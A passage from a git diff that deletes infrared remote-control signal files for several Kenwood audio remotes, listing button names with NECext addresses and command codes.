00 00 -command: C9 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D3 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 -# -name: (2)VirtualSurr -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir deleted file mode 100644 index fa6818759..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 10 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 16 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 17 00 00 00 -# -name: Time_Display -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 1F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 50 00 00 00 -# -name: Auto_Mark -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 52 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 55 00 00 00 -# -name: Synchro_Rec -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 56 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 57 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 9A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 9D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C4 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C5 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C8 00 00 00 -# -name: Track_Edit -type: parsed -protocol: NECext -address: B6 04 00 00 -command: CA 00 00 00 -# -name: Programm -type: parsed -protocol: NECext -address: B6 04 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir deleted file mode 100644 index 77ff57633..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 01 00 00 00 -# -name: display_mode -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 02 00 00 00 -# -name: ^2 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 0A 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 0B 00 00 00 -# -name: md_stop -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 11 00 00 00 -# -name: q.m.clear -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 12 00 00 00 -# -name: md_move_backward -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 14 00 00 00 -# -name: md_move_forward -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 15 00 00 00 -# -name: md_backward -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 16 00 00 00 -# -name: md_forward -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 17 00 00 00 -# -name: time_display -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 19 00 00 00 -# -name: Clear_Delete -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 1A 00 00 00 -# -name: check_space -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 1B 00 00 00 -# -name: p.mode_priority -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 1F 00 00 00 -# -name: q.m.check_record -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 50 00 00 00 -# -name: auto/manual -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 52 00 00 00 -# -name: o.t.e. -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 53 00 00 00 -# -name: md_play -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 9A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B6 04 00 00 -command: 9D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C5 00 00 00 -# -name: titlesearch -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C6 00 00 00 -# -name: sez -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C7 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C8 00 00 00 -# -name: quickmove -type: parsed -protocol: NECext -address: B6 04 00 00 -command: C9 00 00 00 -# -name: trackedit -type: parsed -protocol: NECext -address: B6 04 00 00 -command: CA 00 00 00 -# -name: title_input -type: parsed -protocol: NECext -address: B6 04 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir deleted file mode 100644 index 7547d86c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: p.mode -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: peak_search -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 91 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir deleted file mode 100644 index 82c8f3def..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir deleted file mode 100644 index 8dfb16301..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 10 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: TIME_DISPLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: INDEX_BACK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1C 00 00 00 -# -name: INDEX_FWD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 44 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 45 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 46 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 89 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8A 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8C 00 00 00 -# -name: PEAK_SEARCH -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: DISC_FILE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8F 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 91 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir deleted file mode 100644 index fc39684f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 10 00 00 00 -# -name: __ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: >/|| -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: TIME_DISP. -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: KEY_P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: DISC_SELECTOR-1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: DISC_SELECTOR-2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: DISC_SELECTOR-3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: DISC_SELECTOR-4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: DISC_SELECTOR-5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: DISC_SELECTOR-6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir deleted file mode 100644 index b56f49449..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: Check -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: PMode -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir deleted file mode 100644 index d6230401d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: time_display -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: p-mode -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir deleted file mode 100644 index 565651d06..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed 